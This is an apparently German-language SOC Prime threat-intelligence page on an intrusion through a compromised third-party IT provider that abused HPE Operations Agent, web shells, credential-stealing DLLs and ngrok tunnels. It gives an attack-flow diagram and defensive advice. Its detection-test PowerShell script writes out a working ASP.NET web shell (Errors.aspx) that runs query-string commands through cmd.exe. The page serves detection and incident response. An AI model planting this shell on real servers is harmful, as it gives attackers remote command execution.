Untersuchung eines verdeckten Eindringens durch einen Drittanbieter-Kompromiss

SOC Prime Team

Folgen

Untersuchung eines verdeckten Eindringens durch einen Drittanbieter-Kompromiss

Detection stack

AIDR
Alert
ETL
Query

Bedrohungsbericht
Angriffsablauf
Erkennungen
Simulationen

Zusammenfassung

Der Bericht untersucht eine heimliche Eindringungsaktion, bei der Bedrohungsakteure einen IT-Dienstleister eines Drittanbieters kompromittierten und dann den legitimen HPE Operations Agent missbrauchten, um Web-Shells, DLLs zum Diebstahl von Anmeldeinformationen und Tunnel-Dienstprogramme bereitzustellen. Indem sie sich auf vertrauenswürdige Verwaltungssoftware anstatt auf auffällige Ausnutzung verließen, konnten die Angreifer einen langfristigen Zugriff aufrechterhalten und offensichtliche Anzeichen einer Kompromittierung minimieren.

Untersuchung

Microsoft Incident Response verfolgte die Aktivitäten von der anfänglichen Bereitstellung der Web-Shell auf Internet-Servern bis zur Ausführung von VBScript über den HPE Operations Agent. Die Untersuchung deckte dann die Registrierung bösartiger Netzwerkprovider-DLLs und Passwortfilter-DLLs auf Domänenkontrollern auf, gefolgt von der Wiederverwendung der gesammelten Anmeldeinformationen und dem Einsatz von ngrok-Tunneln, um die seitliche Bewegung in der Umgebung zu unterstützen.

Eindämmung

Empfohlene Verteidigungsmaßnahmen umfassen die Reduzierung und strikte Kontrolle des Zugriffs vertrauenswürdiger Drittanbieter, Überwachung auf unautorisierte DLL-Registrierungen in LSA-Benachrichtigungspaketen, Erkennung verdächtiger Änderungen von Web-Shells, Durchsetzung strikter Ausgehendfilterung und Sicherstellung der EDR-Abdeckung aller Endpunkte.

Reaktion

Wenn diese Aktivität erkannt wird, isolieren Sie die kompromittierten Systeme, entfernen Sie bösartige DLLs und Web-Shells, widerrufen Sie gestohlene Anmeldeinformationen, deaktivieren Sie unautorisierte Netzwerkprovider und suchen Sie nach lateralem Bewegungen mit den gesammelten Artefakten.

"graph TB %% Klassendefinitionen classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#e6e6e6 classDef malware fill:#ff9999 %% Knoten u2013 Initialer Zugriff action_initial_trusted["Aktion – T1199 Vertrauenswürdige Beziehung Kompromittierung des IT-Dienstleisters eines Drittanbieters und Verwendung des vertrauenswürdigen HPE Operations Agent zum Ausführen von bösartigem Code."] class action_initial_trusted action tool_hpe_oa["Tool – Name: HPE Operations Agent (OA) Zweck: Legitimiertes Agent-Tool zur Ausführung von Skripten auf Zielservern."] class tool_hpe_oa tool %% Knoten u2013 Ausführung action_execution_vbscript["Aktion – Ausführung von VBScipts (T1059.005) Ausführen von abc003.vbs für System-, Netzwerk- und AD-Erkundung."] class action_execution_vbscript action file_abc003["Datei – Name: abc003.vbs Typ: Visual Basic Script"] class file_abc003 file %% Knoten u2013 Persistenz (Web Shell) action_persistence_webshell["Aktion – T1505.003 Server-Softwarekomponente: Web Shell Bereitstellen von Errors.aspx und Signoff.aspx Web-Shells auf Internet-Servern."] class action_persistence_webshell action file_errors["Datei – Name: Errors.aspx Funktion: Web-Shell für die Remote-Befehlsausführung."] class file_errors file file_signoff["Datei – Name: Signoff.aspx Funktion: Web-Shell für die Remote-Befehlsausführung."] class file_signoff file %% Knoten u2013 Persistenz (Netzwerk-Provider-DLL) action_persistence_np_dll["Aktion – T1556.008 Netzwerk-Provider-DLL Registrieren einer bösartigen mslogon.dll auf Domänenkontrollern, um Klartext-Anmeldeinformationen abzufangen."] class action_persistence_np_dll action file_mslogon["Datei – Name: mslogon.dll Standort: C:UsersPublicMusicabc123c.d"] class file_mslogon file %% Knoten u2013 Persistenz (Passwortfilter-DLL) action_persistence_passdll["Aktion – T1556.002 Passwortfilter-DLL Hinzufügen von passms.dll als LSA-Benachrichtigungspaket auf DC01/DC02, um Passwortänderungen abzufangen."] class action_persistence_passdll action file_passms["Datei – Name: passms.dll Standort: C:ProgramDataWindowsUpdateServiceUpdateDirIpd"] class file_passms file %% Knoten u2013 Zugriff auf Anmeldeinformationen (Dateien) action_cred_in_files["Aktion – T1552.001 Anmeldeinformationen in Dateien Gesammelte Anmeldeinformationen in Klartext- oder kodierten Dateien auf der Festplatte speichern."] class action_cred_in_files action %% Knoten u2013 Zugriff auf Anmeldeinformationen (OS-Dumping) action_os_credential_dump["Aktion – T1003 OS-Credential-Dumping DLL-basierte Interzeption ermöglicht Credential-Dumping ohne externe Tools."] class action_os_credential_dump action %% Knoten u2013 Laterale Bewegung (Gültige Konten) action_lateral_local["Aktion – T1078.003 Gültige Konten: Lokale Konten Wiederverwendung gesammelter Anmeldeinformationen zur Authentifizierung über RDP und SMB."] class action_lateral_local action %% Knoten u2013 Laterale Bewegung (Remote Services) action_lateral_remote["Aktion – T1021 Remotedienste Einrichtung von RDP-Sitzungen über verschlüsselte ngrok-Tunnel für seitliche Bewegungen."] class action_lateral_remote action %% Knoten u2013 Kommando & Kontrolle (Proxy) action_c2_proxy["Aktion – T1090 Proxy Einsatz von ngrok als Mehr-Hop-Proxy zur Erstellung verdeckter C2-Kanäle."] class action_c2_proxy action tool_ngrok["Tool – Name: ngrok Zweck: Erstellung von TCP/HTTPS-Tunneln für den Verkehrstunneling."] class tool_ngrok tool %% Knoten u2013 Kommando & Kontrolle (Protokoll-Tunneling) action_c2_tunnel["Aktion – T1572 Protokoll-Tunneling Kapselung von C2-Verkehr innerhalb von ngrok-Tunneln zur Umgehung der Erkennung."] class action_c2_tunnel action %% Knoten u2013 Sammlung (Netzwerkfreigabe) action_collection_share["Aktion – T1039 Daten von Netzwerkfreigabe Staging kodierter Anmeldeinformationen auf entfernten SMB-Freigaben vor der Exfiltration."] class action_collection_share action %% Knoten u2013 Vermeidung der Verteidigung (DLL-Hijack) action_defense_dll["Aktion – T1574.001 Hijack Execution Flow: DLL msupdate.dll exfiltriert Daten über SMTP und SMB, getarnt als Bilddateien."] class action_defense_dll action file_msupdate["Datei – Name: msupdate.dll Payload: Kodierte Daten gesendet als icon02.jpeg."] class file_msupdate file %% Knoten u2013 Persistenz (Winlogon Helper DLL) action_persistence_winlogon["Aktion – T1547.004 Winlogon Helper DLL Registrieren von mslogon.dll als Winlogon-Helfer, um die Ausführung beim Anmelden sicherzustellen."] class action_persistence_winlogon action %% Verbindungen u2013 Angriffsdurchfluss action_initial_trusted –>|verwendet| tool_hpe_oa tool_hpe_oa –>|führt aus| action_execution_vbscript action_execution_vbscript –>|führt aus| file_abc003 action_execution_vbscript –>|führt zu| action_persistence_webshell action_persistence_webshell –>|erzeugt| file_errors action_persistence_webshell –>|erzeugt| file_signoff action_persistence_webshell –>|ermöglicht| action_persistence_np_dll action_persistence_np_dll –>|installiert| file_mslogon action_persistence_np_dll –>|ermöglicht| action_persistence_passdll action_persistence_passdll –>|installiert| file_passms action_persistence_passdll –>|speichert| action_cred_in_files action_cred_in_files –>|liefert Daten für| action_os_credential_dump action_os_credential_dump –>|ermöglicht| action_lateral_local action_lateral_local –>|verwendet| action_lateral_remote action_lateral_remote –>|nutzt| tool_ngrok tool_ngrok –>|ermöglicht| action_c2_proxy action_c2_proxy –>|ermöglicht| action_c2_tunnel action_c2_tunnel –>|unterstützt| action_collection_share action_collection_share –>|liefert Dateien für| action_defense_dll action_defense_dll –>|verwendet| file_msupdate action_defense_dll –>|unterstützt| action_persistence_winlogon action_persistence_winlogon –>|basiert auf| file_mslogon %% Styling class action_initial_trusted,action_execution_vbscript,action_persistence_webshell,action_persistence_np_dll,action_persistence_passdll,action_cred_in_files,action_os_credential_dump,action_lateral_local,action_lateral_remote,action_c2_proxy,action_c2_tunnel,action_collection_share,action_defense_dll,action_persistence_winlogon action class tool_hpe_oa,tool_ngrok tool class file_abc003,file_errors,file_signoff,file_mslogon,file_passms,file_msupdate file "

Angriffsdurchfluss

Angriffserzählung & Befehle:
1. Erstkompromittierung: Der Angreifer erlangt Schreibzugriff auf das Web-Root (z.B. über gestohlene Anmeldeinformationen oder einen verwundbaren Upload-Endpunkt).
2. Web-Shell-Bereitstellung: Sie laden eine bösartige ASP.NET-Web-Shell mit dem Namen Errors.aspx (oder ändern eine vorhandene Signoff.aspx), die beliebige PowerShell-Befehle ausführt, die über die Abfragezeichenfolge geliefert werden.
3. Auslösen der Shell: Der Angreifer sendet eine HTTP-GET-Anfrage an die Shell mit einem PowerShell-Payload im cmd Parameter, z.B. https://corp.example.com/Errors.aspx?cmd=whoami. Diese Anfrage wird von IIS protokolliert und erzeugt einen cs-uri-stem Wert von /Errors.aspx – exakt das, was die Sigma-Regel erfasst.

Regressionstest-Skript: Das Skript reproduziert die Schritte 2–3 (der Upload wird simuliert, indem eine vorgefertigte Datei in das Web-Root kopiert wird; das Auslösen erfolgt über Invoke-WebRequest).

# -------------------------------------------------
# Web-Shell-Simulationsskript – Windows Server/IIS
# -------------------------------------------------
param (
    [string]$WebRoot = "C:inetpubwwwroot",
    [string]$ShellName = "Errors.aspx",
    [string]$Payload = "whoami"
)

# 1. Bereitstellung einer einfachen ASP.NET-Web-Shell (minimal zum Testen)
$shellContent = @"
<%@ Page Language="C#" %>
<% 
string cmd = Request.QueryString["cmd"];
if (!String.IsNullOrEmpty(cmd)) {
    System.Diagnostics.Process.Start("cmd.exe", "/c " + cmd);
}
%>
"@

$shellPath = Join-Path $WebRoot $ShellName
Set-Content -Path $shellPath -Value $shellContent -Encoding UTF8 -Force

Write-Host "[+] Web-Shell in $shellPath bereitgestellt"

# 2. Geben Sie dem Webserver einen Moment, um die neue Datei zu registrieren
Start-Sleep -Seconds 2

# 3. Aufruf der Web-Shell zur Erzeugung des Erkennungs-auslösenden Log-Eintrags
$uri = "http://localhost/$ShellName?cmd=$Payload"
Invoke-WebRequest -Uri $uri -UseBasicParsing | Out-Null

Write-Host "[+] Web-Shell über $uri ausgelöst"
# -------------------------------------------------

Bereinigungskommandos: Entfernen Sie die Test-Web-Shell und alle verbleibenden Dateien.

# Bereinigungsskript – entferne die simulierte Web-Shell
param (
    [string]$WebRoot = "C:inetpubwwwroot",
    [string]$ShellName = "Errors.aspx"
)
$shellPath = Join-Path $WebRoot $ShellName
if (Test-Path $shellPath) {
    Remove-Item -Path $shellPath -Force
    Write-Host "[+] $shellPath entfernt"
} else {
    Write-Host "[-] Shell-Datei nicht gefunden; nichts zu bereinigen."
}

Treten Sie der Detection as Code-Plattform von SOC Prime bei um die Sichtbarkeit der für Ihr Unternehmen relevantesten Bedrohungen zu verbessern. Um Ihnen den Einstieg zu erleichtern und unmittelbaren Mehrwert zu erzielen, buchen Sie jetzt ein Treffen mit den Experten von SOC Prime.

Kostenlos beitreten